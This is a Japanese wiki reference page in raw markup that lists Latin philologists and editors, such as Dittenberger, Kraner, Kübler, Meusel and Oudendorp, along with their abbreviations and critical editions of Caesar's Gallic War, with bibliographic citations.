*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Gulielmus Dittenberger|Gulielmus Dittenberger (1840-1906)]]&lt;/span&gt;　（ラテン語表記は &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:11pt;&quot;&gt;Gulielmus Dittenberger&lt;/span&gt; または &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:11pt;&quot;&gt;Wilhelmus Dittenberger&lt;/span&gt;）&lt;br&gt;　　ドイツ語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Wilhelm Dittenberger|Wilhelm Dittenberger]]&lt;/span&gt;（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Ditt.&lt;/span&gt;）
*:'''ディッテンベルガー''' &lt;ref&gt;[https://kotobank.jp/word/%E3%81%A7%E3%81%84%E3%81%A4%E3%81%A6%E3%82%93%E3%81%B9%E3%82%8B%E3%81%8C%E3%83%BC-1802566 ディッテンベルガーとは？ 意味や使い方 - コトバンク]&lt;/ref&gt;：19世紀ドイツの古典文献学者。ギリシア語の碑文などを研究。&lt;ref&gt;[https://ci.nii.ac.jp/author/DA04317698 CiNii Books 著者 - Dittenberger, Wilhelm]&lt;/ref&gt;&lt;ref&gt;[https://search.worldcat.org/ja/search?q=Dittenberger&amp;author=Dittenberger%2C+Wilhelm%7CDittenberger%2C+W Dittenberger - 検索結果] (WorldCat.org)&lt;/ref&gt;
*:'''校訂版'''： &lt;span style=&quot;font-family:Times New Roman;&quot;&gt;C. Julii Caesaris commentarii de bello Gallico : [[wikt:en:erklärt#German|erklärt]] von [[#Kraner|Fr. Kraner]] und W. Dittenberger, Weidmann, 1913-17., vollständig umgearbeitete Aufl / von [[#Meusel|H. Meusel]]&lt;/span&gt; &lt;ref&gt;[https://search.worldcat.org/ja/title/703872728 C. Julii Caesaris commentarii de bello Gallico | WorldCat.org]&lt;/ref&gt; など

===Ernout===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:fr:Alfred Ernout|Alfred Ernout (1879-1973)]]&lt;/span&gt; ：　フランスのラテン語の文献学者。
*:'''執筆記事'''：&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;A. Ernout : Revue de Philologie 27, 1953, 192-202&lt;/span&gt;
===Estienne===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Robert Estienne (1503-1559)
*:&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[#Stephanus (Estienne)]]&lt;/span&gt; を見よ。
===Flodoardus===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Flodoardus Remensis|Flodoardus Remensis (894-966)]]&lt;/span&gt;（仏語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:fr:Flodoard|Flodoard de Reims]]&lt;/span&gt;）
*:[[w:西フランク王国|西フランク王国]]の[[w:フランク人|フランク人]]で、[[w:カロリング朝|カロリング朝]]期の[[w:ランス (マルヌ県)|ランス]]正教会の聖職者・年代記作者・ラテン詩人。

===Frigell===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Andreas Frigell (1820-1897)&lt;/span&gt;（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Frig. ; &lt;/span&gt;スウェーデン名&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:sv:Anders Frigell (latinist)|Anders Frigell]]&lt;/span&gt;
*:スウェーデンの古典文献学者、[[w:ウプサラ大学|ウプサラ大学]]助教授。著作についてはWorldCat&lt;ref&gt;[http://www.worldcat.org/identities/lccn-no2004048330/ Frigell, A. 1820-1897 (Anders) [WorldCat Identities] ]&lt;/ref&gt;等を参照。
*:'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;u&gt;C. Iulii Caesaris De bello gallico libri septem cum libro octavo A. Hirtii.&lt;/u&gt;, Recensuit codices contulit commentationibus, Instruxit &lt;u&gt;Dr. Andreas Frigell&lt;/u&gt;, in Reg. Acad. Upsal. Lingu. Lat. Dog., Upsalae,  typis descripserunt edquist et socii, MDCCCLXI.&lt;/span&gt; &lt;ref&gt;[https://www.worldcat.org/title/c-iulii-caesaris-de-bello-gallico-libri-septem-cum-libro-octavo-a-hirtii/oclc/556360202 C. Iulii Caesaris De bello gallico libri septem cum libro octavo A. Hirtii (電子書籍, 1861) [WorldCat.org] ]&lt;/ref&gt;（1861年）

===Fuchs===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Harald Fuchs (Altphilologe)|Harald Fuchs (1900-1985)]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Fu.&lt;/span&gt;）　ドイツの古典文献学者。　　
*:'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;C. Julius Caesar: &lt;u&gt;Commentarii Belli Gallici : cum A. Hirtii supplemento&lt;/u&gt;, Huber, [[w:en:Frauenfeld|Frauenfeld]], 1944&lt;/span&gt; &lt;ref&gt;[https://www.worldcat.org/title/commentarii-belli-gallici-cum-a-hirtii-supplemento/oclc/18460252 Commentarii Belli Gallici  cum A. Hirtii supplemento (書籍, 1944) [WorldCat.org] ]&lt;/ref&gt;
===Gertz===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Martin Clarentius Gertz (1844-1929)&lt;/span&gt;&lt;ref&gt;[[w:da:Martin Clarentius Gertz]], [[c:Category:Martin Clarentius Gertz]]&lt;/ref&gt;
**19～20世紀デンマークの哲学者 &lt;ref&gt;[http://worldcat.org/identities/lccn-n89640008/ Gertz, M. Cl [WorldCat Identities] ]&lt;/ref&gt;。
===Glandorpius (Glandorp)===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Johannes Glandorpius&lt;/span&gt;（独語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Johann Glandorp|Johann Glandorp (1501-1564)]]&lt;/span&gt;）：ドイツの人文学者・教育者・プロテスタントの神学者&lt;ref&gt;[http://worldcat.org/identities/lccn-nr2002024524/ Glandorp, Johann 1501-1564 [WorldCat Identities] ]&lt;/ref&gt;&lt;ref&gt;[https://www.deutsche-biographie.de/sfz21096.html Deutsche Biographie - Glandorp, Johann]&lt;/ref&gt;&lt;ref&gt;[https://www.lagis-hessen.de/pnd/122523806 Hessische Biografie : Erweiterte Suche : LAGIS Hessen]&lt;/ref&gt;。
**'''校訂版・注釈書''': &lt;ref&gt;[https://search.worldcat.org/ja/search?q=au%3D%22Glandorp%2C+Johann%22&amp;author=Caesar%2C+Gaius+Iulius%7CCaesar%2C+Julius au=&quot;Glandorp, Johann&quot; - 検索結果] (WorldCat.org)&lt;/ref&gt;
***&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;C. Julii Caesaris quae exstant : ex viri docti [J.J. Scaliger] accuratissima recognitione : accedit nunc vetus interpres Graecus librorum VII de bello Gallico, ex bibliotheca P. Petavii : praeterea notae, adnotationes, commentarii partim veteres, partim novi : adhaec indices rerum, et locorum utiles. ...&lt;/span&gt;&lt;ref&gt;[https://www.worldcat.org/title/c-julii-caesaris-quae-exstant-ex-viri-docti-jj-scaliger-accuratissima-recognitione-accedit-nunc-vetus-interpres-graecus-librorum-vii-de-bello-gallico-ex-bibliotheca-p-petavii-praeterea-notae-adnotationes-commentarii-partim-veteres-partim-novi-adhaec-indices-rerum-et-locorum-utiles/oclc/13596308 C. Julii Caesaris quae exstant : ex viri docti [J.J. Scaliger] accuratissima recognitione : accedit nunc vetus interpres Graecus librorum VII de bello Gallico, ex bibliotheca P. Petavii : praeterea notae, adnotationes, commentarii partim veteres, partim novi : adhaec indices rerum, et locorum utiles. ... (書籍, 1669) [WorldCat.org] &lt;/ref&gt; 
***&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;ref&gt;[https://openlibrary.org/authors/OL4855318A/Johann_Glandorp Johann Glandorp | Open Library]&lt;/ref&gt; &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Johannis Glandorpii Adnotationes doctiss. in C. Iulii Caes. et Hircii vel Oppii de bello Gallico, civili, Alexandrino, Africano &amp; Hispaniensi commentariorum et derelictorum libros&lt;/span&gt;&lt;ref&gt;[https://openlibrary.org/works/OL11537855W/Johannis_Glandorpii_Adnotationes_doctiss._in_C._Iulii_Caes._et_Hircii_vel_Oppii_de_bello_Gallico_civ Johannis Glandorpii Adnotationes doctiss. in C. Iulii Caes. et Hircii vel Oppii de bello Gallico, civili, Alexandrino, Africano &amp; Hispaniensi commentariorum et derelictorum libros (1564 edition) | Open Library]&lt;/ref&gt;&lt;ref&gt;[https://www.worldcat.org/title/johannis-glandorpii-adnotationes-doctiss-in-c-iulii-caes-et-hircii-vel-oppii-de-bello-gallico-civili-alexandrino-africano-hispaniensi-commentariorum-et-derelictorum-libros/oclc/221818490&amp;referer=brief_results Johannis Glandorpii Adnotationes doctiss. in C. Iulii Caes. et Hircii vel Oppii de bello Gallico, civili, Alexandrino, Africano &amp; Hispaniensi commentariorum et derelictorum libros (マイクロフォーム, 1564) [WorldCat.org] ]&lt;/ref&gt;
===Glareanus===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Henricus Glareanus&lt;/span&gt; &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;; [[w:en:Heinrich Glarean|Heinrich Glarean (1488-1563)]]&lt;/span&gt;
*:[[w:グラレアヌス|ハインリヒ・'''グラレアヌス''']]：16世紀スイス出身の人文主義者・詩人・音楽理論家。
*'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Julii Caesaris Commentariorum de bello Gallico, Venise, ex bibliotheca Aldina, 1569, 398 ff.&lt;/span&gt;&lt;ref&gt;[[w:fr:Glaréan#Édition_d'ouvrages_anciens]]&lt;/ref&gt;

===Gruter===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Janus Gruterus (1560-1627)&lt;/span&gt; &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;; [[w:en:Jan Gruter|Jan Gruter (Gruytère)]]&lt;/span&gt; : [[w:南ネーデルラント|南ネーデルラント]]出身の古典文献学者・司書。
===Heller===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Ludwig Heller (Philologe)|Ludwig Heller (1775/6-1826)]]&lt;/span&gt;　：　ドイツの古典文献学者（[[w:フリードリヒ・アレクサンダー大学エアランゲン＝ニュルンベルク|エアランゲン大学]]）。
===Holder===
===Holmes===
===Hotomanus===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:de:Franciscus Hotomanus|Franciscus Hotomanus]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Hotm.&lt;/span&gt;　；　仏語名　&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:François Hotman|François Hotman (1524-1590)]]&lt;/span&gt;）　
*:フランスの法律家・著述家。
*'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;C. Iulii Caesaris rerum gestarum commentarii XIV (1575)&lt;/span&gt; &lt;ref&gt;[https://search.worldcat.org/ja/title/55582673 C. Iulii Caesaris rerum gestarum commentarii XIV : nempe ... omnia collatis antiquis manuscriptis exemplaribus, quae passim in Italia, Gallia, &amp; Germania inuenire potuimus, docte, accurate, &amp; emendate restituta, prout proxima pagina indicatur : Eutropii Epitome belli Gallici ex Suetonii Tranquilli monumentis, quae desiderantur | WorldCat.org]&lt;/ref&gt; ほか
===Jungermann===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Gottfried Jungermann (1570-1610)&lt;/span&gt; &lt;ref name=&quot;Gottfried Jungermann&quot;&gt;[[w:fr:Gottfried Jungermann]]&lt;/ref&gt;
*:ゴットフリート・'''ユンゲルマン'''：16～17世紀のドイツの古典文献学者で &lt;ref name=&quot;Gottfried Jungermann&quot;/&gt;、カエサルの覚書（戦記）のギリシア語版なども刊行している。
*'''著作''' &lt;ref&gt;[https://search.worldcat.org/ja/search?q=Gottfried+Jungermann&amp;offset=1 Gottfried Jungermann - 検索結果] (WorldCat.org)&lt;/ref&gt;
*'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;C. Iulii Caesaris Quae Exstant : ex nupera Viri docti accuratissima recognitione (1606)&lt;/span&gt; (ラテン語) &lt;ref&gt;[https://search.worldcat.org/ja/title/831992108 C. Iulii Caesaris Quae Exstant : ex nupera Viri docti accuratissima recognitione] (WorldCat.org)&lt;/ref&gt; ほか。

===Koller===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Rudolf Koller&lt;/span&gt;
*:'''記　事''':  &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Wien. Stud. 36(1914)143&lt;/span&gt;
*:'''校訂版''': &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Commentarii de bello Gallico (1928, 1939)&lt;/span&gt;&lt;ref&gt;[https://www.worldcat.org/title/commentarii-de-bello-gallico-auswahl/oclc/720996262 [Commentarii] de bello Gallico Auswahl (書籍, 1928) [WorldCat.org] ]&lt;/ref&gt; &lt;ref&gt;[https://www.zvab.com/Julius-Caesar-Bello-Gallico-Sammlung-lateinischer/16208788923/bd https--www.zvab.com-Julius-Caesar-Bello-Gallico-Sammlung-lateinischer-16208788923-bd]&lt;/ref&gt;
===Kraner===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Friedrich Kraner|Friedrich Kraner (1812-63)]]&lt;/span&gt;
*:ドイツの古典文献学者、学校教師 &lt;ref&gt;[https://search.worldcat.org/ja/search?q=au%3D%22Kraner%2C+Friedrich%22 au=&quot;Kraner, Friedrich&quot; - 検索結果]&lt;/ref&gt;
*:'''校訂版'''： &lt;span style=&quot;font-family:Times New Roman;&quot;&gt;G. Iulii Caesaris Commentarii, cum supplementis A. Hirtii et aliorum : [[wikt:en:erklärt#German|erklärt]] von Friedrich Kraner&lt;/span&gt; 1861 ほか &lt;ref&gt;[https://search.worldcat.org/ja/title/222387161 G. Iulii Caesaris Commentarii, cum supplementis A. Hirtii et aliorum | WorldCat.org]&lt;/ref&gt;

===Kuebler===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Bernardus Kuebler&lt;/span&gt; （略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Kue.&lt;/span&gt; ； 独語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Bernhard Kübler|Bernhard (Gustav Adolf) Kübler (1859-1940)]]&lt;/span&gt;）　
*:ドイツの古典文献学者、法制史家。著作多数（WorldCat&lt;ref&gt;[http://worldcat.org/identities/lccn-no2011013800/ Kübler, Bernhard 1859-1940 [WorldCat Identities] ]&lt;/ref&gt;、Wikisource&lt;ref&gt;[[s:de:Bernhard Kübler]]&lt;/ref&gt; を参照）。
**'''校訂版'''（『ガリア戦記』『内乱記』多数）:
***&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;u&gt;C. Iulii Caesaris commentarii : cum A. Hirtii aliorumque supplementis 1, Commentarii de bello Gallico&lt;/u&gt;, Lipsiae Teubner 1895&lt;/span&gt;&lt;ref&gt;[https://www.worldcat.org/title/c-iulii-caesaris-commentarii-cum-a-hirtii-aliorumque-supplementis-1-commentarii-de-bello-gallico/oclc/1198880100 C. Iulii Caesaris commentarii : cum A. Hirtii aliorumque supplementis 1, Commentarii de bello Gallico (書籍, 1895) [WorldCat.org] ]&lt;/ref&gt;
***&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;u&gt;C. Iulii Caesaris Commentarii cum A. Hirtii aliorumque supplementis. Vol. 1, Commentarii de bello Gallico&lt;/u&gt;, Lipsiae : in aedibus B. G. Teubneri, 1908.&lt;/span&gt;&lt;ref&gt;[https://www.worldcat.org/title/c-iulii-caesaris-commentarii-cum-a-hirtii-aliorumque-supplementis-vol-1-commentarii-de-bello-gallico/oclc/441845921 C. Iulii Caesaris Commentarii cum A. Hirtii aliorumque supplementis. Vol. 1, Commentarii de bello Gallico (書籍, 1908) [WorldCat.]&lt;/ref&gt;　ほか
===Kübler===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Bernhard Kübler|Bernhard Kübler]]&lt;/span&gt; ⇒ &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[#Kuebler]]&lt;/span&gt;
===Lipsius===
{{Wikipedia|ユストゥス・リプシウス|リプシウス}}
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Iustus Lipsius|Iustus Lipsius (1547-1606)]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Lips.&lt;/span&gt;）
*:現在のベルギーの人文学者・古典文献学者。[[w:フリードリヒ・シラー大学イェーナ|イエナ大学]]、[[w:ライデン大学|ライデン大学]](教授)、[[w:en:Old University of Leuven|ルーヴェン大学]]等で教鞭をとる。&lt;br&gt;タキトゥスやセネカの校訂で知られる&lt;ref&gt;[https://kotobank.jp/word/%E3%83%AA%E3%83%97%E3%82%B7%E3%82%A6%E3%82%B9-149298 リプシウスとは - コトバンク]&lt;/ref&gt;

===Manutius===
{{Wikipedia|パウルス・マヌティウス|パウルス・マヌティウス}}
{{Wikipedia|アルド印刷所|アルド印刷所}}
*[[#Aldus]]　[[w:アルドゥス・マヌティウス|アルドゥス・マヌティウス]] (&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:en:Aldus Manutius|Aldus Manutius]] 1449/1452-1515&lt;/span&gt;) の後継者たち、特に息子の[[w:パウルス・マヌティウス|パウルス・マヌティウス]]（&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Paulus Manutius|Paulus Manutius]]&lt;/span&gt; 1512-1574）のことか。
*アルドゥスとその後継者たちは、1513年～1588年まで13回にわたってカエサルの『ガリア戦記』を印刷した。1571年の版は、アルドゥスの子パウルスが現役のときに、その息子アルドゥス2世によって印刷された&lt;ref&gt;[https://grolierclub.omeka.net/exhibits/show/aldus-manutius/paulus-manutius Paulus Manutius · Aldus Manutius: A Legacy More Lasting Than Bronze · Grolier Club Exhibitions]等を参照。&lt;/ref&gt;。
===Manuzio===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Aldo Pio Manuzio&lt;/span&gt; ⇒ &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[#Aldus]]&lt;/span&gt;
===Meusel===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Henricus Meusel (1844-1916)&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Meu.&lt;/span&gt; ： 独語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Heinrich Meusel|Heinrich Meusel]]&lt;/span&gt; ）
*:ドイツの古典文献学者。著作多数（&lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;WorldCat&lt;ref&gt;[http://worldcat.org/identities/lccn-no99006368/ Meusel, Heinrich 1844-1916 [WorldCat Identities] ]&lt;/ref&gt;, Wikisource&lt;ref&gt;[[s:de:Heinrich Meusel]]&lt;/ref&gt;&lt;/span&gt; 等を参照）。
**'''校訂版''':
***&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;u&gt;C. Iulii Caesaris Belli Gallici libri VII cum A. Hirtii liber VIII.&lt;/u&gt; Recensuit apparatu critico instruxit Henricus Meusel, Berlin, Bertolini, W. Weber, 1894.&lt;/span&gt;&lt;ref&gt;[https://www.worldcat.org/title/c-iuli-caesaris-belli-gallici-libri-vii-cum-a-hirti-liber-viii/oclc/7620704 C. Iuli Caesaris Belli gallici libri VII  cum A. Hirti liber VIII (書籍, 1894) [WorldCat.org] ]&lt;/ref&gt;

===Mommsen===
{{Wikipedia|テオドール・モムゼン|モムゼン}}
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Theodorus Mommsen|Theodorus Mommsen (1817-1903)]]&lt;/span&gt;（独語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Theodor Mommsen|Theodor Mommsen]]&lt;/span&gt;）
*:ドイツのローマ史家。1902年ノーベル文学賞受賞。
===Morus===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Samuel Fridericus Nathanael Morus|Samuel Fridericus Nathanael Morus (1736-1792)]]&lt;/span&gt;（独語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Samuel Friedrich Nathanael Morus|Samuel Friedrich Nathanael Morus]]&lt;/span&gt;）
*:ドイツの哲学者・神学者。
*:'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;C. Julii Caesaris de bello Gallico et civili; accedunt libri de bello Alexandrino, Africano et Hispaniensi; e recensione Oudendorpii. Curavit editionem (et adnotationes atque indicem adiecit) etc. S. F. N. M. Lipsiae, 1780&lt;/span&gt;
===Nicasius===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Nicasius Ellebodius Casletanus&lt;/span&gt; （略号　&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Nicas.&lt;/span&gt;）
*:&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:fr:Nicaise Ellebaudt|Nicaise Ellebaudt (1535-1577)]]&lt;/span&gt; ： 16世紀の[[w:フランドル伯|フランドル伯]]領出身の人文主義者。
===Nipperdey===
*&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:de:Carl Nipperdey|Carl Nipperdey (1821-1875)]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Nipp.&lt;/span&gt;）　ドイツの古典文献学者。『ガリア戦記』の近代的な校訂版を初めて著した。
*:'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;C. Julii Caesaris Commentarii cum supplementis A. Hirtii et aliorum. Ex rec. Car. Nipperdeii (1847)&lt;/span&gt;
===Oehler===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Franciscus Oehler (1817-1866)&lt;/span&gt;　（独語名 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Franz Oehler (Öhler)&lt;/span&gt;）
*:ドイツの古典文献学者、高校教員。著作については、WorldCat&lt;ref&gt;[http://worldcat.org/identities/lccn-no2007135649/ Oehler, Franz [WorldCat Identities] ]&lt;/ref&gt;等を参照。
**'''校訂版'''：&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;u&gt;C. Iulii Caesaris Commentarii : cum supplementis A. Hirtii et aliorum.&lt;/u&gt;, Recognovit &lt;u&gt;Franciscus Oehler.&lt;/u&gt;, Lipsiae., typis et sumptibus B. G. Teubneri. MDCCCLX.&lt;/span&gt; （トイプナー、1860年）
**:※Amazon.co.jp&lt;ref&gt;Amazon.co.jp：ペーパーバック版（[https://www.amazon.co.jp/C-Iulii-Caesaris-Commentarii-Supplementis/dp/B009JU6ONY C. Iulii Caesaris Commentarii Cum Supplementis A. Hirti Et Aliorum  Caesar, Julius, Oehler, Franz]）およびハードカバー版。&lt;/ref&gt;、Googleブックス&lt;ref&gt;Googleブックスで「C. Iulii Caesaris Commentarii Franz Oehler」で検索せよ。&lt;/ref&gt;等で購入・閲覧ができる。

===Orosius===
{{Wikipedia|オロシウス|オロシウス}}
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Orosius|Paulus Orosius]]&lt;/span&gt;（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Oros.&lt;/span&gt;：英 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Orosius|Orosius]] 375/385-420&lt;/span&gt;頃）
**4～5世紀頃の現在のスペイン出身のキリスト教の司祭、著述家・史家&lt;ref&gt;[https://kotobank.jp/word/%E3%82%AA%E3%83%AD%E3%82%B7%E3%82%A6%E3%82%B9-41771 オロシウスとは - コトバンク] などを参照。&lt;/ref&gt;。
**著作『異教徒に反論する歴史』全7巻（&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Historiae adversum paganos|Historiae adversum paganos]]&lt;/span&gt;）の6巻7章10節が参照されている。

===Oudendorpius===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Franciscus Oudendorpius&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Oud.&lt;/span&gt;）　&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:fr:Frans van Oudendorp|Frans van Oudendorp (1696-1761)]]&lt;/span&gt;　オランダの文献学者、[[w:ライデン大学|ライデン大学]]教授。
**'''校訂版'''： &lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;C. Julii Caesaris Commentarii de bello Gallico et Civili: Accedunt libri De bello Alexandrino, Africano, et Hispaniensi&lt;/span&gt; 
**: WorldCat &lt;ref&gt;[http://worldcat.org/identities/lccn-n94091268/ Oudendorp, Frans van 1696-1761 [WorldCat Identities] ]&lt;/ref&gt;, Vaif.org&lt;ref&gt;[https://viaf.org/viaf/37257920/ viaf.org(37257920)]&lt;/ref&gt;  などを参照せよ。
===Plutarchus===
{{Wikipedia|プルタルコス|プルタルコス}}
{{Wikipedia|対比列伝|対比列伝}}
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Plutarchus|Plutarchus (Πλούταρχος)]]&lt;/span&gt;　（略号 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Plut.&lt;/span&gt;：英 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Plutarch|Plutarch]] 46-122&lt;/span&gt;頃）
*:プルータルコス：帝政ローマ期のギリシア人著述家・伝記作家&lt;ref&gt;[https://kotobank.jp/word/%E3%83%97%E3%83%AB%E3%82%BF%E3%83%AB%E3%82%B3%E3%82%B9-127292 プルタルコスとは - コトバンク] などを参照。&lt;/ref&gt;。
**著作『[[w:対比列伝|対比列伝]]』（希 &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Βίοι παράλληλοι,&lt;/span&gt; 羅 &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Vitae parallelae|Vitae parallelae]]&lt;/span&gt;）のうち、
***『カエサル伝』（羅 &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:Vita Iulii Caesaris (Plutarchus)la:|Vita Iulii Caesaris]]&lt;/span&gt;, 英 &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;[[w:en:Parallel Lives|Parallel Lives]]&lt;/span&gt;）
::などが、『ガリア戦記』の校訂においても重要な史料としてしばしば参照されている。
&lt;!--
&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:|]]&lt;/span&gt;
--&gt;

===Rhenanus===
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:la:Beatus Rhenanus|Beatus Rhenanus (1485-1547)]]&lt;/span&gt;　（独語名も &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[w:de:Beatus Rhenanus|Beatus Rhenanus]]&lt;/span&gt;）　ドイツの人文主義者・古典学者・宗教改革者。

===Rösch (Roesch)===
